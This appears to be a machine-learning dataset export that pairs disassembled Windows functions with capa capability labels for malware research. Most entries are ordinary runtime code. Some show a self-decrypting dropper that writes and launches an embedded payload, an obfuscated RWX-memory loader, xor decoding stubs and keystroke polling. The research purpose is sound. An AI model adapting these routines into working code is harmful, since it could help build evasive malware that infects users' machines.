joyce8/EMBER2024-capa huggingface dataset:
Function at 0x440ebc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4667dc
cmp dword [edi], 0
jne 0x440f38
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4667d8]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x464970
mov ecx, 2
call fcn.004028a8
mov edx, 0x440e94
lea eax, [esi + 5]
call fcn.00440eb4
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00440eb4
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x440f0d
mov dword [0x4667d8], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x441054
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4410a4]
test si, 4
je 0x441068
or bl, 1
test si, 8
je 0x441072
or bl, 4
test si, 1
je 0x44107c
or bl, 8
test si, 2
je 0x441086
or bl, 0x10
test si, 0x10
je 0x441090
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44109f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4410a8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4410e0]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4410c1
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4410d0
or bl, 4
test esi, 0x20000000
je 0x4410db
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x447288
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44729a
add esp, 0xfffffff0
call fcn.00403260
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00413ba0
mov eax, ebx
call fcn.004475d4
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x30], eax
mov dl, 1
mov eax, dword [0x40d7f4]
call fcn.00402f30
mov dword [ebx + 0x40], eax
mov dl, 1
mov eax, dword [0x40d7f4]
call fcn.00402f30
mov dword [ebx + 0x44], eax
mov dl, 1
mov eax, dword [0x40d7f4]
call fcn.00402f30
mov dword [ebx + 0x48], eax
mov dl, 1
mov eax, dword [0x40d7f4]
call fcn.00402f30
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x40d7f4]
call fcn.00402f30
mov dword [ebx + 0x70], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x34], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x4c]
push eax
mov eax, 0x447258
push eax
push 0
push 0
mov eax, dword [0x464e8c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x415068]
call fcn.004165a0
mov dword [ebx + 0x78], eax
mov dl, 1
mov eax, dword [0x415068]
call fcn.004165a0
mov dword [ebx + 0x7c], eax
mov dl, 1
mov eax, dword [0x415068]
call fcn.004165a0
mov dword [ebx + 0x74], eax
mov eax, ebx
call fcn.004479b4
mov eax, dword [ebx + 0x78]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4478d0
mov eax, dword [ebx + 0x7c]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4478d0
mov eax, dword [ebx + 0x74]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4478d0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4473a9
call fcn.004032b8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4476b4
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44785f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x28], 0
jne 0x447840
mov dl, 1
mov eax, dword [0x40daf4]
call fcn.00402f30
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 4]
add eax, 0x2c
call fcn.00403c6c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44782f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00435c3c
test al, al
je 0x447822
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x447870
lea eax, [ebp - 0x254]
call fcn.00408d9c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x447822
xor eax, eax
push ebp
push 0x44781b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x4478a8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x447804
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403e9c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ebx, dword [eax]
call dword [ebx + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x30]
jne 0x447804
mov eax, dword [ebp - 4]
add eax, 0x2c
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403e9c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x447822
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x447725
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov byte [eax + 0x19], 0
mov dl, 1
call fcn.004107ec
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x28]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x447866
lea eax, [ebp - 0x260]
call fcn.00403c6c
ret

Function at 0x4480ac
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4667cc]
cmp byte [eax + 0x95], 0
jne 0x44811d
cmp dword [0x4667e8], 0
jne 0x4480de
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x448068
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4667e8], eax
cmp dword [0x4667e4], 0
jne 0x4480f9
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4667e4], eax
cmp dword [0x4667ec], 0
jne 0x44811d
push esp
push 0
push 0
push 0x44800c
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x4667ec], eax
pop edx
ret
Function at 0x448214
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44822b
add esp, 0xfffffff0
call fcn.00403260
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00413ba0
mov byte [ebx + 0x28], 0
mov dl, 1
mov eax, dword [0x40d7f4]
call fcn.00402f30
mov dword [ebx + 0x80], eax
mov dl, 1
mov eax, dword [0x40d7f4]
call fcn.00402f30
mov dword [ebx + 0x98], eax
xor eax, eax
mov dword [ebx + 0x50], eax
xor eax, eax
mov dword [ebx + 0x74], eax
mov dword [ebx + 0x4c], 0x80000018
mov dword [ebx + 0x68], 0x1f4
mov byte [ebx + 0x6c], 1
xor eax, eax
mov dword [ebx + 0x70], eax
mov dword [ebx + 0x64], 0x9c4
mov byte [ebx + 0x78], 0
mov byte [ebx + 0x8d], 1
mov dl, 1
mov eax, dword [0x4159f8]
call fcn.0041cc78
mov esi, eax
mov dword [ebx + 0x88], esi
push 0x4483a0
mov eax, dword [0x464dac]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0041d048
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x449d20
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x464dac]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_2
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040b368
test eax, eax
je 0x44831e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.0040873c
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040b390
test eax, eax
je 0x448332
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x7c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00403e9c
mov eax, dword [0x464ca4]
cmp byte [eax], 0
jne 0x448363
mov eax, ebx
call fcn.0044848c
mov byte [ebx + 0x49], 1
mov byte [ebx + 0x4a], 1
mov byte [ebx + 0x4b], 1
mov byte [ebx + 0x8e], 1
xor eax, eax
mov dword [ebx + 0x90], eax
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x448395
call fcn.004032b8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4486fc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4667cc]
cmp dword [eax + 0x24], 0
je 0x44879f
cmp dword [ebx + 0x84], 0
jne 0x448799
mov eax, dword [ebx + 0x24]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44868c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x80]
cmp dword [eax + 8], 0
je 0x448799
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x448762
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x80]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x448799
push 0x13
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x80]
call fcn.0040ef14
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x448771
inc dword [ebx + 0x84]
pop ecx
pop edx
pop esi
pop ebx
ret
Function at 0x4491ac
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x94], 0
je 0x4491e1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403d54
jmp 0x4491eb
mov eax, esi
mov edx, dword [ebx + 0x7c]
call fcn.00403cc0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44a094
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x74]
test esi, esi
je 0x44a0cc
mov eax, esi
call fcn.0043196c
test al, al
je 0x44a0cc
mov eax, dword [ebx + 0x74]
call fcn.00431670
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44a0cc
push 0
mov eax, dword [ebx + 0x74]
call fcn.00431670
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x44ed84
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov ebx, eax
xor eax, eax
push ebp
push 0x44ede9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 5]
push eax
call sub.kernel32.dll_LockResource
mov esi, eax
mov dword [ebx + 9], esi
test esi, esi
jne 0x44edd3
lea ecx, [ebp - 4]
mov edx, 2
mov eax, dword [0x466858]
call fcn.0044ebf0
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x44ea88]
call fcn.0040a754
call fcn.004036b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44edf0
lea eax, [ebp - 4]
call fcn.00403c6c
ret

Function at 0x44edf8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x110], ebx
mov dword [ebp - 4], ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x44ef2b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x104]
mov ecx, 0xff
mov edx, dword [ebp - 4]
call fcn.004087bc
mov eax, ebx
call fcn.00405098
mov ebx, eax
push 0xa
lea eax, [ebp - 0x104]
push eax
push ebx
call sub.kernel32.dll_FindResourceA
mov esi, eax
test esi, esi
jne 0x44eeb8
mov ebx, dword [0x4664d8]
push 0xa
lea eax, [ebp - 0x104]
push eax
push ebx
call sub.kernel32.dll_FindResourceA
mov esi, eax
test esi, esi
jne 0x44eeb8
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10c], eax
mov byte [ebp - 0x108], 0xb
lea eax, [ebp - 0x10c]
push eax
push 0
lea ecx, [ebp - 0x110]
mov edx, 3
mov eax, dword [0x466858]
call fcn.0044ebf0
mov ecx, dword [ebp - 0x110]
mov dl, 1
mov eax, dword [0x44ea88]
call fcn.0040a790
call fcn.004036b8
push esi
push ebx
call sub.kernel32.dll_LoadResource
mov dword [edi + 5], eax
cmp dword [edi + 5], 0
jne 0x44ef0d
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10c], eax
mov byte [ebp - 0x108], 0xb
lea eax, [ebp - 0x10c]
push eax
push 0
lea ecx, [ebp - 0x114]
mov edx, 4
mov eax, dword [0x466858]
call fcn.0044ebf0
mov ecx, dword [ebp - 0x114]
mov dl, 1
mov eax, dword [0x44ea88]
call fcn.0040a790
call fcn.004036b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ef32
lea eax, [ebp - 0x114]
mov edx, 2
call fcn.00403c90
ret
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x40633c
pop dword [ebp - 0x34]
mov eax, 0x73e5d742
sub eax, 0x73a57406
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x3a31e655
add dword [ebp - 0x44], 0x14205ef6
mov dword [ebp - 0x40], 0x4f96620c
sub dword [ebp - 0x40], 0x1d6315c7
mov dword [ebp - 0x3c], 0xf6a3c464
add dword [ebp - 0x3c], 0x55a87fca
mov dword [ebp - 0x38], 0x16f2becb
sub dword [ebp - 0x38], 0x16f2becb
lea eax, [ebp - 0x44]
push eax
mov eax, 0x93d4ffc4
sub eax, 0x93948f64
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x3f449c3d
sub dword [ebp - 0x44], 0xcad232e7
mov dword [ebp - 0x40], 0x99fdbb5a
add dword [ebp - 0x40], 0xa76ea61b
mov dword [ebp - 0x3c], 0xccd3194c
add dword [ebp - 0x3c], 0x969c5320
mov dword [ebp - 0x38], 0xc853efb7
sub dword [ebp - 0x38], 0xc853efb7
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xde8a3f1b
add eax, 0x21b631e5
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3af41
push 0
call eax
mov ecx, 0x5957
mov edx, eax
mov esi, 0xd8594ab9
add esi, 0x27e7b547
add esi, dword [ebp - 0x34]
mov ebx, 0x8b71da8c
add ebx, 0x32b19064
sub dword [ebp - 0xc], ecx
mov edi, dword [esi]
xor dword [ebp - 0x28], eax
sub edi, ebx
mov dword [ebp - 0x30], 0x3c1c4085
mov dword [edx], edi
xor dword [ebp - 0x1c], ecx
add edx, 0x47abf2c
add edx, 0xfb8540d8
add esi, 0x3d55e5a2
sub esi, 0x3d55e59e
loop 0x406458
add eax, 0xae75eaf3
sub eax, 0xae7492c4
mov ebx, eax
add eax, 0x7249561e
sub eax, 0x72495619
mov ecx, 0x3c1e877f
sub ecx, 0x3bde877f
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0x40893f
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
call fcn.00408965
xor dword [ebx], esi
and eax, eax
mov ecx, eax
add ebx, 1
or eax, eax
add ecx, ecx
cmp ebx, edi
jne fcn.0040893f
dec eax
push 0xabae4d22
pop ecx
ret
Function at 0x40ed6d
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov ecx, 0x40eae0
dec edx
call fcn.0040ed8c
add edx, edx
or edx, edx
xor dword [edi], ecx
inc edi
sub esi, 0x4373a6ba
cmp edi, eax
jne fcn.0040ed6d
ret

Function at 0x401440
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0xbbeaf81f
xor ebx, 0xbfeaf81f
jmp 0x4014f0
mov edx, 0xa919783e
xor edx, 0xa919783a
mov ecx, 0x25135daf
xor ecx, 0x25136daf
mov eax, 0x500
ror eax, 0x1c
push edx
push ecx
push eax
mov edx, dword [ebp - 0xb4]
rol edx, 4
rol edx, 0xa
mov dword [ebp - 8], edx
push ebx
call fcn.00401644
push esi
pop ecx
mov ebx, eax
test ebx, ebx
je 0x4014f0
sub ebx, 0x86b78ac7
mov dword [ebp - 0x10], ebx
ret
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x412cf0
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x412e9a
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
sub byte [esi + ebx], 0x56
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
add byte [esi + ebx], 0x3c
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x6d
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
add byte [esi + ebx], 0x7d
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
add byte [esi + ebx], 0x1b
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0xba
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
add byte [esi + ebx], 0x70
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
add byte [esi + ebx], 0x5f
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
add byte [esi + ebx], 0x2a
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
add byte [esi + ebx], 0xbf
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
add byte [esi + ebx], 0x33
add esp, 0x40
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
add byte [esi + ebx], 0x3b
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
xor byte [esi + ebx], 0xd6
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
add byte [esi + ebx], 0xa3
push str.Protocol_of_Mind
push 0x4d04b0
call fcn.0040349a
push eax
call fcn.004013a7
add byte [esi + ebx], 0xd2
add esp, 0x30
inc esi
cmp esi, edi
jb 0x412d10
pop ebx
pop edi
pop esi
ret

Function at 0x4035d5
Capabilities:
Terminate process

Disassembly:
jmp 0x451b59
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x451b6a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.004058fd
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x403706
Capabilities:
Query environment variable

Disassembly:
jmp 0x49b002
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49b013
pop esi
ret
push ebx
push edi
push esi
call fcn.0049aee9
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fd0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49b03b
push ebx
push esi
push edi
call fcn.004056f0
add esp, 0xc
push 0
call fcn.0040623a
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x43cf4a
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x43ccda
mov ecx, ebx
call fcn.0043cf71
sub ecx, ecx
xor dword [edx], edi
mov ecx, 0xddb8c685
inc edx
sub ebx, 0xba8dbe86
cmp edx, eax
jne fcn.0043cf4a
ret
Function at 0x4070f5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40d468
cmp edx, dword [eax]
je 0x407117
add eax, 8
inc ecx
cmp eax, 0x40d4f8
jl 0x407108
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40d468]
jne 0x407245
mov eax, dword [0x40e498]
cmp eax, 1
je 0x40721f
test eax, eax
jne 0x407148
cmp dword [0x40d39c], 1
je 0x40721f
cmp edx, 0xfc
je 0x407245
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40717f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404350
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004041a0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4071c2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004041a0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b5ec
push edi
call fcn.00408c80
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404350
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404360
lea eax, [ebp - 0xa0]
push 0x40b5cc
push eax
call fcn.00404360
push dword [esi + 0x40d46c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404360
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00408bf2
add esp, 0x2c
pop edi
jmp 0x407245
lea eax, [ebp + 8]
lea esi, [esi + 0x40d46c]
push 0
push eax
push dword [esi]
call fcn.004041a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x5d8e62
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x5d8b64
sub esp, 4
mov dword [esp], esi
pop edi
call fcn.005d8e9e
sub esi, edi
sub edi, 0x5012503c
or edi, esi
xor dword [ecx], edx
mov esi, esi
or edi, edi
push esi
pop esi
add ecx, 2
mov edi, edi
add edi, esi
cmp ecx, ebx
jl fcn.005d8e62
or edi, edi
ret